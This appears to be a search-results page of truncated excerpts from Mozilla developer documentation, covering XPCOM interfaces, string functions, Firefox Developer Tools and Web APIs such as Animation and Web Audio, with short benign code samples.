xpcom/ds/nsisupportsprimitives.idlscriptable this interface provides scriptable access for unicode character strings.
... inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data astring provides access to the native type represented by the object.
nsITaskbarPreviewButton
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface.
...this is not the same as visible, which indicates whether or not the button should be displayed at all.
nsIThreadEventFilter
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview boolean acceptevent(in nsirunnable event);violates the xpcom interface guidelines methods violates the xpcom interface guidelines acceptevent() this method is called to determine whether or not an event may be accepted by a nested event queue.
... boolean acceptevent( in nsirunnable event ); parameters event the event being dispatched.
nsITimerCallback
inherits from: nsisupports last changed in gecko 1.7 method overview void notify(in nsitimer timer); methods notify() initialize a timer to fire after the given millisecond interval.
...void notify( in nsitimer timer ); parameters timer nsitimer the timer which has expired see also nsitimer nsitimercallbackfunc ...
nsIToolkit
inherits from: nsisupports last changed in gecko 1.0 method overview void init(in prthread athread); methods init() initialize this toolkit with athread.
...null can be passed in, in which case a new thread gets created and a message pump will run in that thread.
nsITransaction
inherits from: nsisupports last changed in gecko 1.7 method overview void dotransaction(); boolean merge(in nsitransaction atransaction); void redotransaction(); void undotransaction(); attributes attribute type description istransient boolean the transaction's transient state.
... this attribute is checked by the transaction manager after the transaction's execute() method is called.
nsIUTF8StringEnumerator
inherits from: nsisupports last changed in gecko 1.7 method overview autf8string getnext(); boolean hasmore(); methods getnext() returns the next string in the enumerator.
...must be preceded by a call to hasmore(), which returns pr_true.
nsIVersionComparator
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) version strings are dot-separated sequences of version-parts.
... a version-part consists of up to four parts, all of which are optional: <number-a><string-b><number-c><string-d (everything else)> a version-part may also consist of a single asterisk "*" which indicates * "infinity".
nsIWebappsSupport
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void installapplication(in wstring title, in wstring uri, in wstring iconuri, in wstring icondata); boolean isapplicationinstalled(in wstring uri); methods installapplication() this method installs a web application.
... isapplicationinstalled() checks is a web application is already installed.
nsIWifiAccessPoint
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) attributes attribute type description mac acstring the wifi access point's mac address.
...note: this string consists of the bytes as received from the network and may contain nulls and other unprintable characters; if you need to display the ssid, use the ssid attribute instead.
nsIWindowsShellService
inherits from: nsishellservice last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview string getregistryentry(in long ahkeyconstant, in string asubkeyname, in string avaluename); obsolete since gecko 1.8 void restorefilesettings(in boolean aforallusers); obsolete since gecko 1.9 void shortcutmaintenance(); attributes attribute type description desktopbackgroundcolor unsigned long the desktop background color, visible when no background image is used, or if the background image is centered and does not fill the entire screen.
...obsolete since gecko 1.8 hklm 3 hkey_local_machine.
nsIWorker
1.0 66 introduced gecko 1.9.1 inherits from: nsiabstractworker last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for usage details, see worker and the article using dom workers.
...amessageport a message port on which to post the message; if not specified, the default message port is used.
nsIWorkerMessagePort
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents a worker thread's message port, which is used to allow the worker to post messages back to its creator.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void postmessage(in domstring amessage); methods postmessage() posts a message into the event queue.
nsIXMLHttpRequestEventTarget
1.0 66 introduced gecko 1.9.1 inherits from: nsidomeventtarget last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) attributes attribute type description onabort nsidomeventlistener a javascript function object that gets invoked if the operation is canceled by the user.
... handling the events when the handler functions for these events are called, they receive as a parameter a progressevent, which implements the nsidomprogressevent interface.
nsIXPCException
inherits from: nsiexception last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void initialize(in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner); xpcexjsval stealjsval(); native code only!
... message - a custom message set by the thrower (defaults to 'exception') result - the nsresult associated with this exception (defaults to components.results.ns_error_failure) stack - the stack chain (defaults to the current stack) data - additional data object of your choice (defaults to null) inner - an inner exception that triggered this, if available ...
nsIXULBuilderListener
inherits from: nsisupports last changed in gecko 1.7 method overview void didrebuild(in nsixultemplatebuilder abuilder); void willrebuild(in nsixultemplatebuilder abuilder); methods didrebuild() called after a template builder has rebuilt its content.
... example create an object which implements nsixulbuilderlistener: var mylistener = { queryinterface: function(aiid) { if (aiid.equals(components.interfaces.nsixulbuilderlistener) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; }, willrebuild : function(builder) {}, didrebuild : function(builder) { } } attach the listener to a element: myelement.addlistener(mylistener); ...
nsIXULSortService
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void insertcontainernode(in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsicontent root, in nsicontent trueparent, in nsicontent container, in nsicontent node, in boolean anotify); native code only!
...void sort( in nsidomnode anode, in astring asortkey, in astring asorthints ); parameters anode a node in the xul widget whose children are to be sorted.
nsMsgRuleActionType
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgfiltercore.idl typedef long nsmsgruleactiontype; [scriptable, uuid(59af7696-1e28-4642-a400-fa327ae0b8d8)] interface nsmsgfilteraction { /* if you change these, you need to update filter.properties, look for filteractionx */ /* these longs are all actually of type nsmsgfilteractiontype */ const long custom=-1; /* see nsmsgfilteraction */ const long none=0; /* uninitialized state */ const long movetofolder=1; const long changepriority=2; const long delete=3; const long markread=4; const long killthread=5; const long watchthread=6; const long markflagged=7; const long label=8; const long reply=9; const long forward=10; const long stopexecution=1...
...1; const long deletefrompop3server=12; const long leaveonpop3server=13; const long junkscore=14; const long fetchbodyfrompop3server=15; const long copytofolder=16; const long addtag=17; const long killsubthread=18; const long markunread=19; }; ...
NS ENSURE TRUE
syntax ns_ensure_true( expr, return-value ); usage nsresult mozmyclass::mozstringmucking() { char *foo = new char[123]; ns_ensure_true(foo, ns_error_out_of_memory); // this is equivalent to doing: if (!foo) return ns_error_out_of_memory; // thou shalt not return ns_error_failure..
... int i = 3; ns_ensure_true(i == 3, ns_error_failure); return ns_ok; } char* mozmyclass::dostuff() { char* bar = new char[321]; ns_ensure_true(bar, nsnull); return bar; } ...
NS_CStringSetData
#include "nsstringapi.h" nsresult ns_cstringsetdata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify.
... adata [in] a raw character array to copy into this string.
NS_CStringToUTF16
asrcencoding [in] the character encoding of the source string.
... example code nsembedcstring str("hello"); nsembedstring ustr; ns_cstringtoutf16(str, ns_cstring_encoding_ascii, ustr); const prunichar *unicharbuf = ustr.get(); history this function was frozen for mozilla 1.7.
NS_StringCutData
note: gcc requires the -fshort-wchar option to compile this example since prunichar is an unsigned short.
... example code nsstringcontainer str; ns_stringcontainerinit(str); ns_stringsetdata(str, l"hello world"); // remove " world" portion of string ns_stringcutdata(str, 5, pr_uint32_max); const prunichar* data; ns_stringgetdata(str, &data); // data now ponts to the string: l"hello" ns_stringcontainerfinish(str); history this function was frozen for mozilla 1.7.
NS_StringGetData
#include "nsstringapi.h" pruint32 ns_stringgetdata( const nsastring& astring, const prunichar** adata, prbool* aterminated ); parameters astring [in] a nsastring instance to inspect.
... example code pruint32 countchar(const nsastring& str, prunichar c) { const prunichar* data; pruint32 len = ns_stringgetdata(str, &data); pruint32 count = 0; for (pruint32 i = 0; i < len; ++i) { if (data[i] == c) ++count; } return count; } history this function was frozen for mozilla 1.7.
NS_StringSetData
#include "nsstringapi.h" nsresult ns_stringsetdata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify.
... adata [in] a raw character array to copy into this string.
nsMsgNavigationType
last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in the view.
... togglethreadkilled 5 must match nsmsgviewcommandtype togglethreadkilled.
Warnings
when you do not use an index, all the results from the query have to first be fetched, and then those results are sorted.
... however, when the index is used, the data can be obtained row by row from the database, which will be much faster.
Using nsCOMPtr
after you've been using nscomptrs for a while, and you reach unfamiliar territory, or run into compiler errors; you may want to return to this document to get help from the reference manual or the faq.
... contents status, recent changes, and plans recent changes to nscomptr getting started guide introduction using nscomptr summary reference manual the basics initialization and assignment using an nscomptr<t> as a t* efficiency and correctness compiler annoyances frequently asked questions buildtime errors runtime errors how do i...
Using nsIClassInfo
if you use a c++ class which implements nsiclassinfo from javascript, then you don't have to explicitly call queryinterface on the javascript object to access the object's interfaces.
... if you're writing javascript code which uses a c++ class implementing nsiclassinfo, you don't need to do anything to activate the auto-interface magic which makes calling queryinterface unnecessary.
XSLT 2.0
saxon-b the xsl results extension uses the new incarnation of liveconnect (handled by java 1.6v12+ instead of mozilla-specific code) to connect with the java-based saxon-b library, and adds support for having xslt performed automatically when visiting a page with the appropriate xslt processing instruction (and which isn't processed by firefox's own xslt 1.0 processor).
... saxon-b the extension demonstrates how one can use liveconnect code to communicate with the saxon-b library, but one might find the javascript code module approach used inside the extension xquseme as a more reusable approach.
Access StringBundle from Overlay
the most efficient way to append these strings is by attaching them to an existing stringbundleset as such: <stringbundleset id="stringbundleset"> <stringbundle src="chrome://your_extension/locale/overlay.properties" id="your-extension-strings" /> </stringbundleset> now that your stringbundle is attached you can access it from javascript as follows: var str = document.getelementbyid("your-extension-strings"); //get the stringbundle object itself str.getstring("propertyname"); //get a string (and do something with it) alterna...
...tive way let stringbundleservice = cc["@mozilla.org/intl/stringbundle;1"].getservice(ci.nsistringbundleservice); let bundle = stringbundleservice.createbundle("chrome://your_extension/locale/overlay.properties"); let str = bundle.getstringfromname("propertyname"); see nsistringbundleservice ...
Access Window
you can do many things with the window object, such as accessing the height or width of the window/tab or setting its title, registering timer events and much more.
... check if the window is a tab or the root window window.addeventlistener("load", function(e) { alert("is root?: " + isroot()); }, false); function isroot() { if(window != window.top) return "false"; else return "true"; } the example above tells you if the window object is a reference of the application window or of one of it is a tabs.
Get Thunderbird version
(version 3.0b3pre was the first build to include steel.) var versionchecker = components.classes["@mozilla.org/xpcom/version-comparator;1"].getservice(components.interfaces.nsiversioncomparator); if (versionchecker.compare(application.version, "3.0b4") >= 0) // code for >= 3.0b4 else // code for < 3.0b4 for versions prior to 3.0b3pre, you can use something like this: var version; if ( "@mozilla.org/xre/app-info;1" in components.classes ) version = components.classes["@mozilla.org/xre/app-info; 1"].getservice(components.interfaces.nsixulappinfo).version; else version = components.classes["@mozilla.org/preferences-service; 1"].getservice(components.interfaces.nsiprefbranc...
...h).getcharpref ("app.version"); var versionchecker = components.classes["@mozilla.org/xpcom/version- comparator;1"].getservice(components.interfaces.nsiversioncomparator); if ( versionchecker.compare( version, "3.0b3" ) >= 0 ) // code for >= 3.0b3 else // code for < 3.0b3 ...
Tips and Tricks from the newsgroups
extensions load an extension in its own tab run shell scripts from an extension (for example, to create a symlink) get extension metadata call java from thunderbird extensions (also an example here, written for firefox but compatible with thunderbird 3.x) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get ...
...information about attachment without selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Using Mozilla code in other projects
mozilla provides a development platform for desktop applications, called xul, atop which you can build applications.
... various components of the platform, such as the spidermonkey javascript engine, can be used in your own projects without the rest of the platform.
Using the Mozilla source server
wing a couple of simple steps you can also have the source code served to you for debugging without a local build what you'll need windbg or visual studio (note: express editions will not work, but windbg is a free download) a nightly build that was created after april 15, 2008; go to the /pub/firefox/nightly/latest-mozilla-central/ folder and grab the installer for builds predating the switch to mercurial, you'll need cvs.exe, added to your path (the cvs.exe from mozillabuild has problems, use this one instead) note: do not use the cvs from mozillabuild, it will not work!
...also, disable (uncheck) the box that says "require source files to exactly match the original version".
ABI
general details this article describes the calling conventions with respect to js-ctypes while programming x86 and x86-64/x64/amd64 architectures.
... a calling convention is an implementation-level (low-level) scheme regarding how subroutines receive parameters from their caller and how they revert.
Int64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
... warning: do not rely on the value returned by this method, as it's subject to change at any time, depending on the debugging needs of the developers.
Structures - Plugins
« previousnext » this chapter describes the data structures that are used to represent the various objects in the plug-in api.
... npwindow contains information about the target into which the plug-in instance can draw.
DOM Inspector - Firefox Developer Tools
the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.
... this tool is an add-on for xul-based applications such as firefox and thunderbird.
Disable breakpoints - Firefox Developer Tools
to disable a single breakpoint, uncheck the checkbox next to it in the breakpoints list.
... after you click the icon to disable breakpoints, the appearance of the breakpoints will change to a lighter color with a dark-colored border.
Ignore a source - Firefox Developer Tools
however, a library’s abstraction leaks during debugging sessions when you are forced to step through its stack frames in order to reach your own code.
... you can enable or disable ignoring a source file in a couple of ways: in the source list pane, right-click the filename and choose ignore source (or unignore source).
Step through code - Firefox Developer Tools
step in: advance to the next line in the function, unless on a function call, in which case enter the function being called step out: run to the end of the current function, in which case, the debugger will skip the return value from a function, returning execution to the caller split console when paused, you can press the esc key to open and close the split console to gain more insight into errors and variables: pause on breakpoints overlay since firefox 70, when your code is paused on a breakpoint an overlay appears on the viewport of the tab you are d...
... inline variable preview new in firefox 71, the source pane now gives you an instant preview of the variables on each line of code you've stepped through.
Use a source map - Firefox Developer Tools
javascript running in a page is often machine-generated, as when compiled from a language like coffeescript or typescript.
... in these situations, it's much easier to debug the original source, rather than the source in the transformed state that the browser has downloaded.
Debugger keyboard shortcuts - Firefox Developer Tools
command windows macos linux close current file ctrl + w cmd + w ctrl + w search for a string in the current file ctrl + f cmd + f ctrl + f search for a string in all files ctrl + shift + f cmd + shift + f ctrl + shift + f find next in the current file ctrl + g cmd + g ctrl + g search for scripts by name ctrl + p cmd + p ctrl + p resume execution when at a breakpoint f8 f8 1 f8 step over f10 f10 1 f10 step into f11 f11 1 f11 step out shift + f11 shift + f11 1 shift + f11 toggle breakpoint on the currently selected line ctrl + b cmd + b ctrl + b toggle conditional breakpoint on the current...
...by default, on some macs, the function key is remapped to use a special feature: for example, to change the screen brightness or the volume.
JSON viewer - Firefox Developer Tools
to enable this feature in other release channels, set the devtools.jsonview.enabled preference to true.
... the json viewer provides a search box that you can use to filter the json.
DOM allocation example - Firefox Developer Tools
n"); // stop spidermonkey from sharing instances toolbarbutton[getrandomint(0,5000)] = "foo"; return toolbarbutton; } function createtoolbar() { var toolbar = document.createelement("div"); // stop spidermonkey from sharing instances toolbar[getrandomint(0,5000)] = "foo"; for (var i = 0; i < toolbarbuttoncount; i++) { var toolbarbutton = createtoolbarbutton(); toolbar.appendchild(toolbarbutton); } return toolbar; } function createtoolbars() { var container = document.getelementbyid("container"); for (var i = 0; i < toolbarcount; i++) { var toolbar = createtoolbar(); container.appendchild(toolbar); } } createtoolbars(); a simple pseudocode representation of how this code operates looks like this: createtoolbars() -> createtoolbar() // called 20...
...0 times, creates 1 div element each time -> createtoolbarbutton() // called 20 times per toolbar, creates 1 span element each time in total, then, it creates 200 htmldivelement objects, and 4000 htmlspanelement objects.
Inspect and select colors - Firefox Developer Tools
if you click on the color sample, you'll see a color picker popup, enabling you to change the color: if the color is a foreground color, the color picker tells you whether its contrast with the background color meets accessibility guidelines.
... the color picker includes an eyedropper icon: clicking this icon enables you to use the eyedropper to select a new color for the element from the page: clicking the color sample while holding down the shift key changes the color format: ...
Animation inspector example: Web Animations API - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" id="icon"/> <span id="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } javascript content var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(10...
... = { duration: 500, fill: 'forwards', easing: 'ease-out', delay: 150 } var icon = document.getelementbyid("icon"); var note = document.getelementbyid("note"); var iconanimation = icon.animate(iconkeyframeset, iconkeyframeoptions); var noteanimation = note.animate(notekeyframeset, notekeyframeoptions); iconanimation.pause(); noteanimation.pause(); var firsttime = true; function animatechannel(e) { if (e.button != 0) { return; } if (e.target.id != "icon") { return; } if (firsttime) { iconanimation.play(); noteanimation.play(); firsttime = false; } else { iconanimation.reverse(); noteanimation.reverse(); } } document.addeventlistener("click", animatechannel); ...
Rulers - Firefox Developer Tools
to be able to toggle rulers for a page, you first need to enable the button by going to the settings page for the developer tools and checking "toggle rulers for the page" under available toolbox buttons.
... behavior to keep in mind when using rulers: the rulers command must be reapplied in new tabs and after each page refresh.
Web Console UI Tour - Firefox Developer Tools
filter categories: you can click a filter category (such as errors, warnings, css, or xhr) to display just those types of messages.
... show timestamps: when enabled, timestamps are shown on the left-hand side of each message row to say when the messages were logged.
Web Console - Firefox Developer Tools
rich output see and interact with objects logged by the console.
... opening the web console you open the web console from a menu or with a keyboard shortcut: choose web console from the web developer submenu in the firefox menu (or tools menu if you display the menu bar or are on mac os x) press the ctrl+shift+k (command+option+k on os x) keyboard shortcut.
AbortSignal: abort event - Web APIs
the abort event of the fetch api is fired when a fetch request is aborted, i.e.
...later on we check whether or not it the signal has been aborted using the onabort property, and send an appropriate log to the console.
AbsoluteOrientationSensor - Web APIs
examples basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an absoluteorientationsensor with a frequency of 60 times a second.
... on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone.
AbstractRange.collapsed - Web APIs
syntax var iscollpased = range.collapsed value a boolean value which is true if the range is collapsed.
... a collapsed range is one in which the start and end positions are the same, resulting in a zero-character-long range..
AbstractRange.endContainer - Web APIs
the endcontainer property of the abstractrange interface returns the node in which the end of the range is located.
... syntax var endnode = range.endcontainer value the dom node which contains the final character of the range.
AnalyserNode.AnalyserNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanalysernode() constructorchrome full support 55edge full support ≤79firefox full support 53ie no support noopera full support 42safari full support 6webview android full support 55chrome android full support 55firefox android full support ...
AnalyserNode.frequencyBinCount - Web APIs
for technical reasons related to how the fast fourier transform is defined, it is always half the value of analysernode.fftsize.
...for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code).
Animation.currentTime - Web APIs
at the start of the game, her height is set between the two extremes by setting her animation's currenttime to half her keyframeeffect's duration: alicechange.currenttime = alicechange.effect.timing.duration / 2; a more generic means of seeking to the 50% mark of an animation would be: animation.currenttime = animation.effect.getcomputedtiming().delay + animation.effect.getcomputedtiming().activeduration / 2; reduced time precision to offer protection against timing attacks and fingerprinting, the precision of animation.currenttime might ge...
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
Animation.finished - Web APIs
the animation.finished read-only property of the web animations api returns a promise which resolves once the animation has finished playing.
... syntax var animationspromise = animation.finished; value a promise object which will resolve once the animation has finished running.
Animation.onremove - Web APIs
this could result in a huge animations list, which could create a memory leak.
... a console message is logged each time an animation it removed, invoked when the remove event is fired.
Animation.persist() - Web APIs
WebAPIAnimationpersist
this could result in a huge animations list, which could create a memory leak.
...this will be active for each animation by default, or persisted if the persist() call is uncommented.
Animation.replaceState - Web APIs
this could result in a huge animations list, which could create a memory leak.
...this will be active for each animation by default, or persisted if the persist() call is uncommented.
Animation.reverse() - Web APIs
WebAPIAnimationreverse
return value undefined example in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to play backwards, causing her to get smaller.
... it is done by setting alicechange's animation.playbackrate to -1 like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.playbackrate = -1; alicechange.play(); // play the bottle's animation drinking.play() } but it could also have been done by calling reverse() on alicechange like so: var shrinkalice = function() { // play alice's animation in reverse alicechange.reverse(); // play the bottle's animation drinking.play() } specifications specification status comment web animationsthe definition of 'reverse()' in that specification.
Animation.timeline - Web APIs
a timeline is a source of time values for synchronization purposes, and is an animationtimeline-based object.
... syntax var animationstimeline = animation.timeline; animation.timeline = newtimeline; value a timeline object to use as the timing source for the animation, or null to use the default, which is the document's timeline.
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
per the namespaces in xml specification, an attribute does not inherit its namespace from the element it is attached to.
...note too that the namespace prefix, once it is associated with a particular node, cannot be changed.
AudioBuffer.duration - Web APIs
example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.
...getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.duration); } specification specification status comment web audio apithe definition of 'duration' in that specification.
AudioBuffer.length - Web APIs
example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffe...
...r.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.length); } specification specification status comment web audio apithe definition of 'length' in that specification.
AudioBuffer.sampleRate - Web APIs
example // stereo var channels = 2; // create an empty two second stereo buffer at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { //...
... this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.samplerate); } specification specification status comment web audio apithe definition of 'samplerate' in that specification.
AudioBufferSourceNode.loopStart - Web APIs
syntax audiobuffersourcenode.loopstart = startoffsetinseconds; startoffsetinseconds = audiobuffersourcenode.loopstart; value a floating-point number indicating the offset, in seconds, into the audio buffer at which each loop should begin during playback.
...buttons are provided to play and stop the audio playback, and slider controls are used to change the playbackrate, loopstart, and loopend properties on the fly.
AudioBufferSourceNode.playbackRate - Web APIs
the playbackrate property of the audiobuffersourcenode interface is a k-rate audioparam that defines the speed at which the audio asset will be played.
...buttons are provided to play and stop the audio playback, and a slider control is used to change the playbackrate property value on the fly.
AudioContextOptions.latencyHint - Web APIs
the audiocontextoptions dictionary (used when instantiating an audiocontext) may contain a property named latencyhint, which indicates the preferred maximum latency in seconds for the audio context.
... to determine the actual latency of the context after creating it, check the value of the context's baselatency property.
AudioContextOptions.sampleRate - Web APIs
the audiocontextoptions dictionary (used when instantiating an audiocontext) may contain a property named samplerate, which indicates the sample rate to use for the new context.
... the value must be a floating-point value indicating the sample rate, in samples per second, for which to configure the new context; additionally, the value must be one which is supported by audiobuffer.samplerate.
AudioTrack.id - Web APIs
WebAPIAudioTrackid
the id property contains a string which uniquely identifies the track represented by the audiotrack.
... syntax var trackid = audiotrack.id; value a domstring which identifies the track, suitable for use when calling gettrackbyid() on an audiotracklist such as the one specified by a media element's audiotracks property.
AudioTrack.kind - Web APIs
WebAPIAudioTrackkind
the kind can be used to determine the scenarios in which specific tracks should be enabled or disabled.
... audio track kind strings the kinds available for audio tracks are: "alternative" a potential alternative to the main track, such as a different audio take or a version of the soundtrack with only the music and no dialogue.
AudioTrack.label - Web APIs
WebAPIAudioTracklabel
for example, a track whose kind is "commentary" might have a label such as "commentary with director mark markmarkimark and star donna donnalidon".
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "main-desc", "translation", "commentary" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label.
AudioTrackList.onremovetrack - Web APIs
syntax audiotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which audio track has been removed from the media element.
... example this simple example just fetches the current number of audio tracks in the media element whenever a track is removed from the media element.
AudioWorklet - Web APIs
the worklet's code is run in the audioworkletglobalscope global execution context, using a separate web audio thread which is shared by the worklet and other audio nodes.
... events audioworklet has no events to which it responds.
AudioWorkletNode.port - Web APIs
note: the port at the other end of the channel is available under the port property of the processor.
... examples to demonstrate bidirectional communication capabilities, we'll create an audioworkletprocessor, which will output silence and respond to ping requests from its audioworkletnode.
BaseAudioContext.createAnalyser() - Web APIs
the createanalyser() method of the baseaudiocontext interface creates an analysernode, which can be used to expose audio time and frequency data and create data visualisations.
...for more complete applied examples/information, check out our voice-change-o-matic demo (see app.js lines 128–205 for relevant code).
BaseAudioContext.createBiquadFilter() - Web APIs
the createbiquadfilter() method of the baseaudiocontext interface creates a biquadfilternode, which represents a second order filter configurable as several different common filter types.
...for a complete working example, check out our voice-change-o-matic demo (look at the source code too).
BaseAudioContext.createDynamicsCompressor() - Web APIs
the createdynamicscompressor() method of the baseaudiocontext interface is used to create a dynamicscompressornode, which can be used to apply compression to an audio signal.
...overall, a louder, richer, and fuller sound can be achieved.
BaseAudioContext.createIIRFilter() - Web APIs
the createiirfilter() method of the baseaudiocontext interface creates an iirfilternode, which represents a general infinite impulse response (iir) filter which can be configured to serve as various types of filter.
...this array may have up to 20 members, the first of which must not be zero.
BaseAudioContext.createStereoPanner() - Web APIs
the createstereopanner() method of the baseaudiocontext interface creates a stereopannernode, which can be used to apply stereo panning to an audio source.
...we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved.
BaseAudioContext.createWaveShaper() - Web APIs
the createwaveshaper() method of the baseaudiocontext interface creates a waveshapernode, which represents a non-linear distortion.
...for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code).
BaseAudioContext.currentTime - Web APIs
the currenttime read-only property of the baseaudiocontext interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio playback, visualizing timelines, etc.
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
BaseAudioContext.destination - Web APIs
it often represents an actual audio-rendering device such as your device's speakers.
... example note: for a full example implementation, see one of our web audio demos on the mdn github repo, like voice-change-o-matic.
BaseAudioContext.state - Web APIs
closed: the audio context has been closed (with the audiocontext.close() method.) example the following snippet is taken from our audiocontext states demo (see it running live.) the audiocontext.onstatechange hander is used to log the current state to the console every time it changes.
... audioctx.onstatechange = function() { console.log(audioctx.state); } specifications specification status comment web audio apithe definition of 'state' in that specification.
BasicCardRequest.supportedTypes - Web APIs
syntax basiccardrequest.supportedtypes = [cardtype1...cardtypen]; value an array containing one or more domstrings, which describe the card types the retailer supports.
... legal values are defined in basiccardtype enum, and are currently: credit debit prepaid example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
BeforeInstallPromptEvent.prompt() - Web APIs
the prompt() method of the beforeinstallpromptevent interface allows a developer to show the install prompt at a time of their own choosing.
... example var istoosoon = true; window.addeventlistener("beforeinstallprompt", function(e) { if (istoosoon) { e.preventdefault(); // prevents prompt display // prompt later instead: settimeout(function() { istoosoon = false; e.prompt(); // throws if called more than once or default not prevented }, 10000); } // the event was re-dispatched in response to our request // ...
Blob.slice() - Web APIs
WebAPIBlobslice
the blob interface's slice() method creates and returns a new blob object which contains data from a subset of the blob on which it's called.
... return value a new blob object containing the specified subset of the data contained within the blob on which this method was called.
Blob.type - Web APIs
WebAPIBlobtype
example this example asks the user to select a number of files, then checks each file to make sure it's one of a given set of image file types.
... if (allowedfiletypes.indexof(files[i].type) > -1) { // file type matched is one of allowed file types.
BlobBuilder - Web APIs
just create a blobbuilder and append chunks of data to it by calling the append() method.
...this can be "transparent" (endings unchanged) or "native" (endings changed to match host os filesystem convention).
Bluetooth.getDevices() - Web APIs
